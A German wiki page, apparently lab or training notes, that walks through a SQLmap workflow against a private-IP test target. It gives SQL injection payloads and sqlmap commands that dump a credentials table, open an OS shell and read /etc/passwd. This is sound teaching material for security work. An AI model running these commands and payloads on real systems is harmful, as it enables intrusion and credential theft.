SQLmap Workflow: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
(Die Seite wurde neu angelegt: „= SQLmap Workflow = ;Einleitung: SQLmap automatisiert die Ausnutzung von SQL-Injection-Schwachstellen. Der Ablauf erfolgt schrittweise: erst Bestätigung, da…“) |
|||
| Zeile 5: | Zeile 5: | ||
Der Ablauf erfolgt schrittweise: erst Bestätigung, dann systematische Informationsgewinnung. | Der Ablauf erfolgt schrittweise: erst Bestätigung, dann systematische Informationsgewinnung. | ||
| − | == | + | == Test auf Verwundbarkeit == |
* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --batch''' | * '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --batch''' | ||
| − | + | == Erkenntnisblock == | |
| − | + | <pre> | |
| + | [13:13:17] [INFO] the back-end DBMS is MySQL | ||
| + | web server operating system: Linux Debian | ||
| + | web application technology: Apache 2.4.62 | ||
| + | back-end DBMS: MySQL >= 5.0 (MariaDB fork) | ||
| + | </pre> | ||
| + | |||
| + | == Gefundene Verwundbarkeiten == | ||
| + | {| class="wikitable" | ||
| + | ! Parameter !! Technik !! Beschreibung !! Beispiel-Payload | ||
| + | |- | ||
| + | | username (POST) || Boolean-based blind || Antwort ändert sich abhängig von TRUE/FALSE || '''username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))--''' | ||
| + | |- | ||
| + | | username (POST) || Error-based || Erzwingt DB-Fehler und leakt Infos || '''username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x)''' | ||
| + | |- | ||
| + | | username (POST) || Time-based blind || Antwortzeit verzögert durch SLEEP() || '''username=test' AND (SELECT SLEEP(5))--''' | ||
| + | |} | ||
== 2. Version und Banner auslesen == | == 2. Version und Banner auslesen == | ||
Version vom 15. September 2025, 17:19 Uhr
SQLmap Workflow
- Einleitung
SQLmap automatisiert die Ausnutzung von SQL-Injection-Schwachstellen. Der Ablauf erfolgt schrittweise: erst Bestätigung, dann systematische Informationsgewinnung.
Test auf Verwundbarkeit
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --batch
Erkenntnisblock
[13:13:17] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian web application technology: Apache 2.4.62 back-end DBMS: MySQL >= 5.0 (MariaDB fork)
Gefundene Verwundbarkeiten
| Parameter | Technik | Beschreibung | Beispiel-Payload |
|---|---|---|---|
| username (POST) | Boolean-based blind | Antwort ändert sich abhängig von TRUE/FALSE | username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))-- |
| username (POST) | Error-based | Erzwingt DB-Fehler und leakt Infos | username=test' AND (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x) |
| username (POST) | Time-based blind | Antwortzeit verzögert durch SLEEP() | username=test' AND (SELECT SLEEP(5))-- |
2. Version und Banner auslesen
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --banner
- Erkenntnis: Exakte Version des Datenbanksystems wird angezeigt.
3. Datenbanken auflisten
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs
- Erkenntnis: Übersicht aller vorhandenen Datenbanken (z. B. verwaltung, information_schema).
4. Tabellen in einer Datenbank auflisten
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung --tables
- Erkenntnis: Tabellenstruktur sichtbar, z. B. Tabelle my_auth.
5. Spalten in einer Tabelle auflisten
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung -T my_auth --columns
- Erkenntnis: Spaltennamen sichtbar, z. B. user, pass.
6. Daten exfiltrieren
- sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung -T my_auth -C user,pass --dump
- Erkenntnis: Klaretextdaten der Benutzer (User/Passwort) liegen vor.
7. Optional: Weitere Möglichkeiten
- --os-shell → Versuch, Betriebssystembefehle auszuführen
- --file-read=/etc/passwd → Datei auf dem Server auslesen
- Erkenntnis: Eskalation möglich, wenn DB-User ausreichende Rechte hat.
Fazit
SQLmap liefert einen strukturierten Weg: Von der Bestätigung der Schwachstelle über die Datenbank- und Tabellenstruktur bis zur Exfiltration der Daten. Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf.